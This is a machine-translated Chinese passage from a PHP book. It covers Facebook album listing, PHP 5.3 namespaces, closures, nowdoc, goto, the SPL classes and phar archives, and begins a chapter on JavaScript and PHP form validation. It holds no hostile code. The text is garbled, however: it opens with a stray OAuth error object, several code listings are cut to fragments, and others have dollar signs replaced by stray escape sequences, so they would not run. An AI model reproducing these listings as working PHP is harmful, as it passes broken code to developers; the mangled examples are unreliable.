{ "error": { "type": "OAuthException", "message": "An active access token must be used to query information about the current user." } }
查找相册和照片
在本章的最后一个例子中,我们将显示脸书相册,包括封面图片、相册名称和照片数量。从清单 4-21 的开始,用displayAlbums();
替换行displayUserInfo( $user_info );
。我们现在将定义displayAlbums
函数,如清单 4-23 所示。
清单 4-23。显示脸书相册的方法
function displayAlbums( Facebook $facebook ) { $albums = $facebook->api( '/me/albums?access_token=' . $facebook_session['access_token'] ); $i = 0; print "<table>"; foreach ( $albums["data"] as $a ) { if ( $i == 0 ) { print "<tr>"; } //get the cover photo cover $photo = $facebook->api( $a['cover_photo'] . '?access_token=' . $facebook_session['access_token']); print "<td>"; print "<img src='" . $photo["picture"] . "'/><br/>"; print $a["name"] . " (" . $a["count"] . " photos)<br/>"; print "</td>"; ++$i; if ( $i == 5 ) { print "</tr>"; $i = 0; } } print "</table>"; }
在清单 4-23 的中,我们将$facebook
对象传递给了displayAlbums
方法。我们提供我们的访问令牌,并检索我们所有的相册。然后我们遍历结果,开始在一个五列宽的表格中显示专辑信息。我们将获得的cover_photo
id 信息输入到第二个 API 调用中,以获取具有该 id 的照片细节。
图 4-18。清单 4-23 样本专辑输出
总结
在本章中,您学习了 OAuth 的认证流程,然后可以自由使用 Twitter 和脸书 API。了解一个新的 API 的最好方法通常是一头扎进去。作为开发人员,通常没有必要对一个 API 了如指掌。学习当前任务的相关部分,并根据需要扩展你的知识库。在开发环境中,不要害怕错误或第一次尝试就不成功的代码。
社交媒体开发是时尚的,不像其他编程领域那么重要。然而,这并不意味着它一定容易。准备学习新兴技术、库和不断变化的 API。
社交媒体火起来的一个关键原因是它具有吸引力和社会性。换句话说,人们喜欢使用它。作为社交媒体开发人员,有一些独特而有趣的开发机会,我们也应该试着从中获得乐趣。*
五、前沿
本章将介绍 PHP 5.3 的新特性。这些新特性包括名称空间、闭包、新的文本格式 nowdoc 和goto
语句。这最后的创新有点像过去的爆炸,仍然像第一个完全过程化的语言,如 Pascal,开始在程序员中流行时一样受到鄙视。常规使用的goto
语句仍然非常令人不快;有人甚至会说,在程序员中使用它是一种致命的罪恶。这场争论是由著名的论文“去认为有害的声明”(Edsger Dijkstra,1968)开始的,goto
的声明从那时起就被认为是可疑的。然而,拥有选择权从来都不是坏事。编程不是宗教;目标是简单、清晰和高效。如果goto
语句可以帮助程序员达到这些目标,那么使用它就非常有意义。
尽管有争议,但语句并不是 PHP 5.3 最重要的新特性。名称空间是迄今为止最重要的新特性。匿名函数也很重要,也称为闭包或 lambda 函数,它支持大量新的编程方法,而不会污染全局名称空间。
还有一种新的文档格式,称为 nowdoc,它类似于 heredoc,但在某些情况下更加通用。PHP 5.3 也是第一个包含标准 PHP 库(SPL)作为语言不可分割的一部分的版本。在早期版本中,SPL 是一个扩展。最后但并非最不重要的是,有 PHP 存档,称为 phar,它使用户能够创建类似于 Java JAR 存档的文件,其中包含整个应用。
名称空间
名称空间是许多编程语言的标准特性。名称空间解决的问题如下:不同子程序之间经常使用的一种通信方法是通过全局变量进行通信。许多编程库都有全局变量供大量其他例程使用。随着语言的发展和不同编程库数量的增加,变量名冲突的可能性呈指数增长。名称空间有助于划分全局名称空间,避免变量名冲突,这可能会导致奇怪和不可预测的错误。PHP 在 5.3 版之前没有名称空间。对名称空间的需求是由于语言本身的发展而产生的。名称空间是可以包含类、函数或常数的语法对象。它们按层次排序,可以包含子名称空间。
名称空间语法非常简单,易于理解。清单 5-1 由三个文件组成,展示了如何定义和使用名称空间。第一个文件 domestic.php 定义了类animal
,并将其实例初始化为值dog
。第二个文件 wild.php 也定义了同一个类animal
,这次是在名称空间wild
中,并将其实例初始化为字符串tiger
。最后,script5.1.php 展示了如何使用它。
清单 5-1。使用名称空间
`domestic.php :
type='dog'; } function get_type() { return($this->type); } } ?>wild.php :
type='tiger'; } function get_type() { return($this->type); } } ?>script5.1.php :
!/usr/bin/env php
get_type()); $b=new wild\animal(); printf("%s\n",$b->get_type()); use wild\animal as beast; $c=new beast(); printf("%s\n",$c->get_type()); ?>`执行产生了预期的结果,如下所示:
./script5.1.php dog tiger tiger
名称空间wild
在文件 wild.php 中定义。如果没有定义名称空间,我们的类会产生完全不同的结果。一旦命名空间被定义,一个类只能通过使用命名空间\类约定来寻址。还可以通过使用use
语句将名称空间导入到本地名称空间中,并用一个更方便的名称为其命名。名称空间定义语句块。如果文件中有多个名称空间,必须用花括号括起来,如清单 5-2 所示。
清单 5-2。具有多个名称空间的文件
`animals.php:
type='tiger'; } function get_type() { return($this->type); } } } namespace animal\domestic { class animal { function __construct() { $this->type='dog'; } function get_type() { return($this->type); } } } ?>`这里我们还可以看到子名称空间,由反斜杠字符“\”分隔。还有一个常量__NAMESPACE_
,它将包含当前的名称空间名称。这与其他 PHP 特殊常量非常相似,比如__FILE__
或__CLASS__
。清单 5-3 展示了如何在脚本中使用它。
清单 5-3。在脚本中使用子名称空间
<?php require_once('animals.php'); use \animal\wild\animal as beast; $c=new beast();
printf("%s\n",$c->get_type()); beast::whereami(); ?>
函数whereami
是静态的,所以它只能在类上下文中调用,而不能在对象上下文中调用。在类上下文中调用函数的语法是class::function($arg)
。这种调用不依赖于特定的对象,被称为类上下文调用。
类\animal\wild\animal
被别名化到beast
中,它的名字被导入到本地名称空间中。在导入的名称空间上也允许调用类函数之类的操作。
还有预定义的全局名称空间。所有普通函数都是全局名称空间的一部分。调用函数\phpversion()
完全等同于调用不带“\”前缀的函数phpversion()
,如下所示:
php -r 'print \phpversion()."\n";' 5.3.3
尽管创建内置函数的本地版本从来都不是一个好主意,但是在函数名前面加上“\”将确保被调用的版本来自全局名称空间,而不是本地版本。
命名空间和自动加载
在前面的章节中,您学习了__autoload
函数,它用于将类加载到程序中。换句话说,__autoload
函数可以帮助自动化清单 5-3 中的require_once
指令。
基本的自动加载功能如下所示:
function __autoload($class) { require_once("$class.php"); }
当所讨论的类包含名称空间时,完整路径被传递给__autoload
函数。
让我们修改清单 5-3 中的如下所示:
`<?php
function __autoload($class) {
print "$class\n";
exit(0);
}
use animal\wild\animal as beast;
$c=new beast();
printf("%s\n",$c->get_type());
beast::whereami();
?>`
执行时,结果将是完整路径:
animal\wild\animal
为了在 autoload 中使用名称空间,我们应该开发一个目录层次结构,用正斜杠替换反斜杠字符,并包含文件。使用str_replace
或preg_replace
功能可以替换字符。对于像这样简单的任务,str_replace
功能比preg_replace
便宜。
命名空间结论
名称空间是抽象容器,用于保存对象名称的逻辑分组。它们是其他语言共有的众所周知的特性,有时被称为包或模块。脚本每天都在变得更大更复杂,这使得发明新的标识符越来越难。在这一章中,我们一直在使用两个不同的类,都叫做animal
。有了这样的命名约定,几乎可以保证你会遇到引入讨厌的 bug 的冲突。有了名称空间,我们就能够总是引用正确的类,甚至可以根据需要用更方便的名称来代替类名。
名称空间非常新,至少在 PHP 中是这样;很少有软件包(额外的 PHP 库)使用它们,但是名称空间也是一个重要的非常受欢迎的语言特性。我毫不怀疑你会发现这个特别的功能非常有用。
匿名函数(闭包)
这其实不是一个新功能;它从 PHP 4.0.1 开始就可用了,但是语法变得更加优雅了。在 PHP 的早期版本中,也可以使用create_function
内置函数创建匿名函数。匿名函数通常很短,在许多其他函数中用作回调例程。下面是一个示例脚本,它将使用内置函数array_reduce()
对数组中的值求和。array_map
和array_reduce
函数是 Google map-reduce 算法的 PHP 实现。函数array_reduce()
在一个数组上被递归调用以产生一个单值输出。
array_reduce
函数的语法非常简单:array_reduce($array,callback_function)
。回调函数有两个参数:第一个由前一次迭代返回;第二个是当前数组元素。清单 5-4 展示了这个脚本。
清单 5-4。array_reduce
功能
`<?php
\(y = 0;
\)arr = range(1, 100);
// \(sum=create_function('\)x,\(y','return(\)x+\(y);');
\)sum = function ($x, \(y) {
return (\)x + \(y);
};
\)sigma = array_reduce($arr, \(sum);
print "\)sigma\n";
?>`
匿名函数被创建并存储到变量$sum
中。注释掉是老的做事方式,使用create_function
解决方案。新的方式更优雅。两种方法功能相同,产生相同的输出。
此外,匿名函数可以作为返回值从函数返回。PHP 的可见性规则阻止外部作用域的变量在内部可见,这意味着不能在内部函数中访问外部函数的参数。为了从被返回的函数中访问封闭函数的参数,我们必须使用一个全局变量。整个事情看起来会像这样:
function func($a) { global $y; $y = $a; return function ($x) { global $y; return $y + $x; }; }
这将返回一个依赖于全局变量的匿名函数。术语“闭包”来自 Perl,它有不同的作用域规则,这些规则支持不同的用法。在 PHP 中,闭包主要用于创建简短的回调函数,防止在不必要的地方浪费全局名称。这种创建匿名函数的新方法虽然在语法上很优雅,但其实并不新鲜。
Nowdoc
Nowdoc 是一种在脚本中插入自由格式文本的新方法。它看起来几乎像一个 heredoc,但有一个本质的区别:nowdoc 没有进一步解析,这使得它非常适合插入 PHP 代码甚至 SQL 命令。例如,Oracle RDBMS 拥有以“V$
”开头的内部表。在 PHP 5.3 之前,查询中的每一个美元符号都必须用反斜杠“转义”,就像这样:
$FILE="select lower(db_name.value) || '_ora_' || v\$process.spid || nvl2(v\$process.traceid, '_' || v\$process.traceid, null ) || '.trc' from v\$parameter db_name cross join v\$process join v\$session on v\$process.addr = v\$session.paddr where db_name.name = 'instance_name' and v\$session.sid=:SID and v\$session.serial#=:SERIAL";
如果没有 nowdoc 语法,这个查询就必须完全像这样编写,这既乏味又难看。nowdoc 语法允许输入这样的查询,而不使用难看的反斜杠字符。heredoc 语法如下所示:
$FILE= = <<<EOT select lower(db_name.value) || '_ora_' || v\$process.spid || nvl2(v\$process.traceid, '_' || v\$process.traceid, null ) || '.trc' from v\$parameter db_name cross join v\$process join v\$session on v\$process.addr = v\$session.paddr where db_name.name = 'instance_name' and v\$session.sid=:SID and v\$session.serial#=:SERIAL; EOT;
新的 newdoc 语法如下所示:
$FILE = <<<'EOT' select lower(db_name.value) || '_ora_' || v$process.spid || nvl2(v$process.traceid, '_' || v$process.traceid, null ) || '.trc' from v$parameter db_name cross join v$process join v$session on v$process.addr = v$session.paddr where db_name.name = 'instance_name' and v$session.sid=:SID and v$session.serial#=:SERIAL; EOT;
唯一的区别是结束标识符周围的单引号和转义美元符号的移除的反斜杠字符。其他都完全一样。
注意对于“文本结束”标识符的规则完全相同;分号字符前面不能有任何空格,后面也不能有空格。
为了看出区别,让我们看看清单 5-5 中的代码片段。
清单 5-5。【heredoc 和 nowdoc 的区别
`<?php
class animal {
public $species;
public \(name;
function __construct(\)kind,\(name) {
\)this->species=\(kind;
\)this->name=\(name;
}
function __toString() {
return(\)this->species.'.'.$this->name);
}
}
\(pet = new animal("dog","Fido");
\)text = <<<'EOT'
My favorite animal in the whole world is my {\(pet->species}.
His name is {\)pet->name}.\n
This is the short name: $pet\n
EOT;
print "NEWDOC:\n\(text\n";
\)text = <<<EOT
My favorite animal in the whole world is my {\(pet->species}.
His name is {\)pet->name}.\n
This is the short name: \(pet\n
EOT;
print "HEREDOC:\n\)text";`
相同的文本首先被定义为 PHP 5.3 newdoc 文本,然后被定义为通常的和众所周知的 heredoc 文本。输出阐明了脚本中字符串指定的两种方式之间的区别:
`NEWDOC:
My favorite animal in the whole world is my {\(pet->species}.
His name is {\)pet->name}.\n
This is the short name: $pet\n
HEREDOC:
My favorite animal in the whole world is my dog.
His name is Fido.
This is the short name: dog.Fido`
第一个版本是 PHP 5.3 中的新版本,没有解释任何东西。嵌入的变量引用、变量本身、甚至特殊字符都完全按照它们在文本中出现的样子显示。这就是 nowdoc 格式的美妙之处。旧的 heredoc 版本解释了一切:变量引用、变量名称和特殊字符。该特性主要用于将 PHP 或其他代码插入脚本。对于 heredoc 来说,类似下面这样的事情要困难得多:
<?php $x = 10; $y = <<<'EOT' $x=$x+10; EOT; eval($y); print "$x\n"; ?>
有了新的 nowdoc 格式,插入 SQL、PHP 代码和动态执行变得容易多了。Nowdoc 并不是 heredoc 格式的替代品,它对于需要简单模板且不需要 Smarty 引擎全部功能的应用仍然非常有用。Smarty 是 PHP 使用的最流行的模板引擎。它有许多选项和可能性,比新的 nowdoc 格式复杂得多。Nowdoc 只是在需要将代码作为字符串插入 PHP 脚本时使用的辅助工具。
本地 goto 语句
PHP 5.3 引入了极具争议的 local goto
语句(其中形容词“local”表示不可能跳出例程或者进入循环)。在一些语言中,最著名的是 C,也有可能进行“非本地goto
或“长跳转”,但这在 PHP 中是不可能的。本地goto
语句的限制与其他语言相同:不能跳转到循环中,也不能跳转到当前子例程之外。
goto 语句是作为最后的选择提供的,而不是应该经常使用的。语法非常简单。清单 5-6 展示了一个while
循环被重写为使用一个goto
语句:
清单 5-6。一张goto
报表样本
<?php $i=10; LAB: echo "i=",$i--,"\n"; if ($i>0) goto LAB; echo "Loop exited\n"; ?>
标签以冒号结尾。这个小脚本产生了预期的输出:
i=10 i=9 i=8 i=7 i=6 i=5 i=4 i=3 i=2 i=1 Loop exited
我没有真正的goto
陈述的例子,因为我还没有需要它的时候。我认为这是 PHP 5.3 中最少使用的新特性。然而,很高兴知道它就在那里,在需要的时候。再一次,程序员不喜欢使用goto
语句。然而,如前所述,编程不是一种宗教;对于违反编程风格的罪行,没有教条或惩罚。最终目标是效率和清晰。如果goto
服务于这一目的,它是一个受欢迎的选择。
标准 PHP 库
标准 PHP 库(SPL)是一组类,类似于 C++中的标准模板库(STL)。SPL 包含了标准编程结构的类,比如堆栈、堆、双向链表和优先级队列,这非常有用。在第一章中简单提到了SplFileObject
级。SPL 的文档可以在这里找到:[
us3.php.net/manual/en/book.spl.php](http://us3.php.net/manual/en/book.spl.php)
。
第一个显示的类是SplMaxHeap
。基本上,数字以随机的顺序被插入到类SplMaxHeap
的对象中。检索数字时,它们按降序排列。有一个完全相同的类SplMinHeap
,它按照升序对其元素进行排序。清单 5-7 包含了这个脚本。
清单 5-7。 SplMaxHeap
剧本
<?php $hp = new SplMaxHeap(); for ($i = 0;$i <= 10;$i++) { $x = rand(1, 1000); print "inserting: $x\n"; $hp->insert($x); } $cnt = 1; print "Retrieving:\n"; foreach ($hp as $i) { print $cnt++ . " :" . $i . "\n"; } ?>
这些类可以针对日期、字符串或任何数据类型进行扩展和实现。执行该脚本时,结果如下所示:
./ttt.php inserting: 753 inserting: 770 inserting: 73 inserting: 760 inserting: 782 inserting: 982 inserting: 643 inserting: 924 inserting: 288 inserting: 367 Retrieving:
1 :982 2 :924 3 :782 4 :770 5 :760 6 :753 7 :643 8 :367 9 :288 10 :73
由rand
函数生成的随机数以随机顺序插入到$hp
中。检索时,它们按降序排序。这个类可以像前面的例子一样直接使用,也可以扩展。如果类被扩展,子类应该实现方法compare
。清单 5-8 给出了一个例子。
清单 5-8。扩展类
`<?php
class ExtHeap extends SplMaxHeap {
public function compare(array $var1,array \(var2) {
\)t1=strtotime(\(var1['hiredate']);
\)t2=strtotime(\(var2['hiredate']);
return(\)t1-$t2);
}
}
\(var1=array('ename'=>'Smith','hiredate'=>'2009-04-18','sal'=>1000);
\)var2=array('ename'=>'Jones','hiredate'=>'2008-09-20','sal'=>2000);
\(var3=array('ename'=>'Clark','hiredate'=>'2010-01-10','sal'=>2000);
\)var4=array('ename'=>'Clark','hiredate'=>'2007-12-15','sal'=>3000);
\(hp=new ExtHeap();
\)hp->insert(\(var1);
\)hp->insert(\(var2);
\)hp->insert(\(var3);
\)hp->insert(\(var4);
foreach(\)hp as \(emp) {
printf("Ename:%s Hiredate:%s\n",\)emp['ename'],$emp['hiredate']);
}
?>`
这并不像乍看起来那样微不足道。这个脚本按照日期值对数组进行排序。新的compare
函数不接受任何不是数组的参数。通过将日期转换为纪元格式来进行比较。我们对SplMaxHeap
的扩展将从最近的条目到最早的条目进行排序:
./script5.6.php Ename:Clark Hiredate:2010-01-10 Ename:Smith Hiredate:2009-04-18 Ename:Jones Hiredate:2008-09-20 Ename:Clark Hiredate:2007-12-15
除了堆、栈和队列类,还有一些非常有趣的处理文件的类。SplFileObject
类在第一章中显示,并将在数据库集成章节中再次使用。然而,还有更有趣的file
类。下一个有趣的是SplFileInfo
。它返回给定文件的文件信息:
<?php $finfo=new SplFileInfo("/home/mgogala/.bashrc"); print "Basename:".$finfo->getBasename()."\n"; print "Change Time:".strftime("%m/%d/%Y %T",$finfo->getCTime())."\n"; print "Owner UID:".$finfo->getOwner()."\n"; print "Size:".$finfo->getSize()."\n"; print "Directory:".$finfo->isDir()? "No":"Yes"; print "\n"; ?>
这个类可以从标准 C 库中获取创建时间、访问时间、名称、所有者以及所有通常由fstat
函数提供的信息。以下是该脚本的输出:
./script5.7.php Basename:.bashrc Change Time:02/18/2011 09:17:24 Owner UID:500 Size:631 No
这个类本身很有趣,但也是解释FileSystemIterator
类所需要的。这个类也是 SPL 的一部分,其功能与 Unix find
命令相同:它遍历目录树并通过结果返回一个迭代器。清单 5-9 显示了打印/usr/local
目录中所有子目录名称的脚本。
清单 5-9。打印/usr/local
目录下的子目录名
<?php $flags = FilesystemIterator::CURRENT_AS_FILEINFO | FilesystemIterator::SKIP_DOTS; $ul = new FileSystemIterator("/usr/local", $flags); foreach ($ul as $file) { if ($file->isDir()) { print $file->getFilename() . "\n"; } } ?>
这些标志规定了将要返回的内容。通过设置CURRENT_AS_FILEINFO
标志,我们要求每个迭代器条目都是一个文件信息对象,一个SplFileInfo
类的成员。还有一个CURRENT_AS_PATHNAME
标志,用于指示FileSystemiterator
类的对象返回路径名,而不是文件信息。当然,文件信息包含路径名和所有其他可用的信息,所以在查找目录时调用它是很自然的事情。SKIP_DOTS
标志指示迭代器跳过“.”还有“..”目录。在我的系统上,该脚本的输出如下所示:
var libexec sbin src tora bin include skype_static-2.1.0.81 man lib share etc
注意,这个脚本的输出在另一个系统上可能看起来不同。例如,Windows 安装通常没有名为“/usr/local”的目录另一个有用的迭代器是Globiterator
,它与上面显示的FileSystemiterator
略有不同。Globiterator
将经历文件系统模式,如“*”。php”。清单 5-10 给出了Globiterator
类用法的一个简单例子:
清单 5-10。 Globiterator
类用法
<?php $flags = FilesystemIterator::CURRENT_AS_PATHNAME; $ul = new Globiterator("*.php", $flags); foreach ($ul as $file) { print "$file\n"; } ?>
在这种情况下,我们只对文件名感兴趣,所以使用了CURRENT_AS_PATHNAME
标志。当然,旗帜CURRENT_AS_FILEINFO
同样有效,而旗帜SKIP_DOTS
毫无意义。
SPL 的结论
从技术上来说,SPL 在 5.3 并不新鲜;它在 5.2 中也存在,但是作为一个单独的扩展。然而,从版本 5.3 开始,它就是 PHP 不可分割的一部分,如果不卸载整个 PHP 语言,它就不能被禁用或卸载。它是一个相当大的、正在发展的扩展,有许多有用的部分。这一章展示了最有用和最实用的方法,但是关于 SPL 还有比这一章所能涵盖的更多的东西。在未来的版本中,它可能会增长、扩展,甚至变得更加有用。熟悉 SPL 当然可以节省很多写剧本的精力和麻烦。我个人认为它非常有用,因为它内置了错误检查和异常。
Phar 扩展
Java 是网络上非常流行的语言。Java 有*。jar 归档使开发人员可以将几个文件打包成一个归档文件,并作为应用执行。在 5.3 版本中,PHP 出于同样的目的创建了 phar 扩展。这个扩展的目的是允许创建和操作 PHP 存档文件。因此得名:Php 存档。
在清单 5-1 的中,我们有一个包含两个额外的类文件的脚本,wild.php 和 domestic.php。为了分发应用,我们需要分发三个文件。如果有更多的类,要分发的文件数量会变得更大。目标是只分发两个文件:可执行脚本本身和包含所有必需的类文件的 phar 文件。换句话说,来自清单 5-1 的脚本的新版本将看起来像清单 5-11 的。
清单 5-11。清单 5-1 修订
<?php include 'phar://animals.phar/wild.php'; include 'phar://animals.phar/domestic.php'; $a=new animal(); printf("%s\n",$a->get_type()); $b=new \wild\animal(); printf("%s\n",$b->get_type()); ?>
窍门就在 include 指令中,它包含文件 animals.phar 并引用这些文件。这样的文件是如何创建的?正如 Java 有名为 jar 的程序一样,PHP 5.3 发行版也有名为 phar 的程序。要获得帮助,需要执行“phar help”。有相当多的选择,都有很好的记录。
Phar archiver 只是一个 PHP 脚本,它使用。phar 扩展。在大多数发行版中,它仍然没有手册页,所以“phar help”是我们能得到的最好的帮助。现在是时候创建我们的第一个 phar 档案了。语法非常简单:
phar pack -f animals.phar -c gz wild.php domestic.php
“pack
”参数指示“phar”程序以“-f
”选项中给定的名称创建档案,并打包文件“wild.php
”和“domestic.php
”。为了成功,php.ini 参数phar.readonly
必须设置为off
最初,该参数设置为“on”,这将阻止创建归档。要使用的压缩算法是“zip”支持的算法有 zip、gz (gzip)和 bz2 (bzip2)。默认值是不压缩。这样,我们可以毫无问题地执行清单 5-2 中的脚本。输出看起来和预期的一样:
dog tiger
这还不是全部。PHP Archiver 能做的不止这些。如果我们想确保存档不被篡改,我们可以对其进行签名:
phar sign -f animals.phar -h sha1
这将使用非常流行的 SHA1 算法对 animals.phar 文件进行签名,并防止篡改。为了好玩,我们给文件添加一个空行,并尝试重新执行清单 5-3 中的脚本。结果如下:
./script5.3.php PHP Warning: include(phar://animals.phar/wild.php): failed to open stream: phar "/tmp/animals.phar" has a broken signature in /tmp/script5.3.php on line 3 PHP Warning: include(): Failed opening 'phar://animals.phar/wild.php' for inclusion (include_path='.:/usr/local/PEAR') in /tmp/script5.3.php on line 3 PHP Warning: include(phar://animals.phar/domestic.php): failed to open stream: phar "/tmp/animals.phar" has a broken signature in /tmp/script5.3.php on line 4
PHP Warning: include(): Failed opening 'phar://animals.phar/domestic.php' for inclusion (include_path='.:/usr/local/PEAR') in /tmp/script5.3.php on line 4 PHP Fatal error: Class 'animal' not found in /tmp/script5\. 3.php on line 5
Include 命令不起作用,我们的脚本悲惨地失败了。这意味着我们的脚本可以得到适当的保护,不会被篡改,因为修改后的脚本不会通过签名验证。Phar 还可以从档案中提取文件,添加和删除文件。所有命令都非常简单明了。下面是 list 命令的一个示例,它列出了 phar 归档文件的内容:
phar list -f animals.phar |-phar:///home/mgogala/work/book/Chapter5/animals.phar/domestic.php \-phar:///home/mgogala/work/book/Chapter5/animals.phar/wild.php
phar 不仅可以列出列表,还可以提取和删除存档成员,就像它的对应 jar、ar 和 tar 一样。该语法与 list 和 insert 命令的语法非常相似。命令“phar delete -f animals.phar -e wild.php
”将从档案中删除脚本“wild . PHP”phar add -f animals.phar wild.php
将把它添加回来,命令phar extract -f animals.phar -i wild.php
将从档案中提取它。Phar 也可以处理正则表达式。这个命令将把整个目录打包到一个名为“test.phar”的 phar 档案中::"phar pack -f test.phar -c zip *.php
"
包含文件的文件名将在标准输出中列出。Phar 还可以创建一个可执行脚本。为此,我们必须创建所谓的“存根”Stub 是在执行 phar 归档文件时控制被转移到的脚本。这个存根的格式有些特殊。下面是我们从清单 5-1 中得到的脚本,稍微修改了一下,以便用作我们 phar 存档的存根:
<?php include 'phar://animals.phar/wild.php'; include 'phar://animals.phar/domestic.php'; $a=new animal(); printf("%s\n",$a->get_type()); $b=new \wild\animal(); printf("%s\n",$b->get_type()); __HALT_COMPILER(); ?>
这个文件将被称为“stub.php
”,并作为“存根”添加到我们的档案中注意最后的__HALT_COMPILER()
功能。这个函数必须存在,以终止脚本的执行。此外,在 phar 分隔符__HALT_COMPILER()
和脚本终止符("?>”)。添加存根很简单:
phar stub-set -f animals.phar -s stub.php
请注意,当文件作为存根添加时,如果使用“phar list”列出,它将不会显示为归档的一部分但是,可以将归档文件作为 PHP 脚本执行:
php animals.phar dog tiger
在基于 Unix 的系统上,还可以在脚本的开头添加“bang ”,这样就可以从命令行执行脚本。下面是语法:
phar stub-set -f animals.phar -s stub.php -b '#!/usr/bin/env php'
在 Unix 术语中,“!/usr/bin/env php”被称为“bang ”,它使 shell 能够找到合适的解释器来执行脚本。phar 档案“animals.phar”现在可以在命令行上执行,当然,只有在操作系统使其可执行之后:
./animals.phar dog tiger
我们已经创建了一个完全包含的应用,它包含执行归档所需的所有类和存根。Phar 程序本身实际上是一个 phar 档案,可以在命令行上执行:
phar list -f /opt/php/bin/phar |-phar:///opt/php/bin/phar.phar/clicommand.inc |-phar:///opt/php/bin/phar.phar/directorygraphiterator.inc |-phar:///opt/php/bin/phar.phar/directorytreeiterator.inc |-phar:///opt/php/bin/phar.phar/invertedregexiterator.inc |-phar:///opt/php/bin/phar.phar/phar.inc \-phar:///opt/php/bin/phar.phar/pharcommand.inc
有可能把所有的套路都提取出来研究。Phar 是开源的,就像整个 PHP 语言一样,所以我们鼓励你这样做。还有一个应用编程接口(API ),它允许通过 PHP 脚本创建和操作 phar 档案。
Phar 是一个非常简单但重要的程序。它将改变 PHP 应用的分发和打包方式,并且有望节省一些空间。它是 PHP 5.3 和更高版本中一个相当低调但极其重要的扩展。这个扩展没有像名称空间或 nowdoc 格式那样吸引那么多的关注,但是它将对 PHP 应用的分发方式产生深远的影响。已经宣布了将 phar 用于 PhpMyAdmin 和 pgFouine 等脚本的意图。
Phar 不会影响脚本性能,因为归档文件只被解析一次。脚本开始时的时间是最小的,至少根据我的经验,不会影响执行时间。还有一个重要的缓存机制叫做 APC,它允许缓存变量和整个文件。替代 PHP 缓存(APC)是一个可选模块,需要单独安装。但是,它经常被使用,因为它可以提供很大的性能增益。特别是函数apc_compile_file
可以用来把一个 PHP 文件编译成字节码,缓存,就这样用,大大提高了速度。Phar 与最新的 APC 兼容,phar 文件可以使用apc_compile file
缓存。APC 不会自动安装在 PHP 上,所以我不会详细讨论它,但是感兴趣的人可以在这里找到手册页:
http://us3.php.net/manual/en/book.apc.php
总结
在本章中,您了解了 PHP 5.3 的重要新特性,比如名称空间和新的 newdoc 格式。您还了解了 SPL,它从 PHP 5.3 和 phar 扩展开始成为 PHP 不可或缺的一部分,非常低调但也非常重要。没有本章最重要的一点。这里介绍的所有工具都是众所周知的“前沿”,非常有用。名称空间将越来越频繁地出现,并支持越来越复杂的应用系统。Phar 档案可以将整个应用系统打包成一个文件,从而使应用的分发更加容易。
SPL 仍在开发中,但迄今为止开发的模块非常有前途和有用。使用 PHP 5.2 和更早版本的编程风格很容易,不需要任何努力。然而,PHP 作为一种语言发展非常迅速,自觉地将自己局限于旧版本会使我的 PHP 编程技能在很大程度上变得过时和无用。学习新东西并不难;很好玩。我真心推荐。
六、表单设计和管理
基于 Web 的表单是应用新数据的常见来源。一般来说,这些数据是非结构化的,在存储之前通常需要进行处理、格式化或其他处理。数据也可能来自潜在的不可靠来源。本章将演示从 web 表单中获取数据、使用 JavaScript 验证输入字段、通过 AJAX 请求将数据传递给 PHP 以及在数据存储服务中维护数据完整性的方法。我们还会给你一些关于操作图像、集成多种语言和使用正则表达式的建议。
数据验证
在基于 web 的表单中,有两个主要的数据验证区域,它们有两个不同的功能。第一种类型的验证发生在客户端使用 JavaScript 的表单中,第二种类型发生在 PHP 通过GET
或POST
请求在服务器端接收数据时。
JavaScript 验证的作用是双重的,两个动作都发生在客户端。它可以用来通知客户机(网站用户)关于输入数据的建议和警告,并将数据放入接收 PHP 脚本所寻找的一致模式中。PHP 验证更多地关注于维护接收到的数据的完整性,同时对其进行操作,使其与已经存储的数据保持一致和兼容。
我们将为 JavaScript 验证定义一个表单和两个表单元素——一个接受必需的姓和名,另一个接受带有可选区号的电话号码。对于此示例,表单中不会包含提交按钮;相反,它将由 JavaScript 在搜索函数中处理,并在发生onblur
事件时被激活。这将在本章后面讨论。
在清单 6-1 的中,我们使用了GET
方法,这样我们就可以在浏览器的地址栏中显示提交的值。这将允许使用其他数据进行快速测试,并绕过 JavaScript 验证。
清单 6-1。使用GET
方法的验证示例
`
`测试完成后,表格可以切换到POST
方法。使用POST
方法可以获得干净的 URL 外观,而表单参数对客户端是不可见的(例如,[
domain.com/dir/](http://domain.com/dir/)
或[
domain.com/dir/script.php](http://domain.com/dir/script.php)
)。或者,如果提交的页面可以被客户端加入书签,那么使用GET
方法会更好,因为客户端在再次访问 web 页面时不需要再次“重新发布”表单数据。当使用GET
方法时,表单提交后浏览器的 URL 将类似于[
domain.com/?var1=exa&var2=mple](http://domain.com/?var1=exa&var2=mple)
。
注根据项目需求,您可以使用
POST
或GET
方法。重要的是要记住,没有一种方法比另一种更安全;两者都可以利用。然而,使用POST
可能会稍微安全一些,因为普通用户不能通过操作查询字符串获得不同的结果。请务必阅读关于安全的第十一章了解更多详情。
当客户端在清单 6-1 的文本框中输入时,JavaScript 验证函数被onkeyup
事件调用,并传递this
作为引用。这将允许 JavaScript 访问执行验证所需的所有元素属性。如果两个字段都通过了必要的验证,那么onblur
事件将尝试使用 AJAX 提交表单。在第十五章中,我们将研究如何执行 AJAX 请求。onfocus
事件选择已经输入到文本框中的文本,这样客户端就不必删除已经输入的数据。这是通过在 JavaScript 中调用select()
方法并使用当前元素的属性(onfocus='this.select();')
来实现的。
我们将定义接受一个参数的validate
JavaScript 函数(参见清单 6-2 )。验证将包括正则表达式模式匹配。我们将在本章的后面解释如何建立正则表达式。现在,我们将专注于基本结构。
清单 6-2。validate
JavaScript 函数
function validate(a){ if(a.value.length>3) switch(a.name){ case 'name': if(a.value.match(/^[a-zA-Z\-]+ [a-zA-Z\-]+$/)){ /* ... successful match code for name ... */ return true; }else{ /* ... no match code for name ... */ } break; case 'phone': if(a.value.match((/^((\(|\[)?\d{3}?(\]|\))?(\s|-)?)?\d{3}(\s|-)?\d{4}$/)){ /* ...successful match code for phone ... */ return true; } else{ /* ... no match code for phone ... */ } break; } return false; }//validate function
validate
函数仅在字符串长度大于三时才开始对表单输入字段进行检查。如果正在验证的数据集没有包含足够的字符,则必须调整验证阈值。如果在验证中执行的代码发出 AJAX 请求,限制字符串的长度也有助于避免对服务器资源造成不必要的压力,这些资源可能会执行数据库查找或运行算法。
注意在清单 6-2 中,我们假设收集的数据长度大于三个字符。不过,通常从表单中收集的数据包含三个或更少字符的字符串和数字。在这种情况下,
a.value.length>3
if
语句可以被移到case
语句中,并被调整以匹配被验证字段的每个模式。
接下来,我们将使用表单元素的名称来确定值需要匹配哪个表达式。通过返回true
或false
,我们也可以将这个函数用于我们的搜索函数。我们通过调用字符串的match
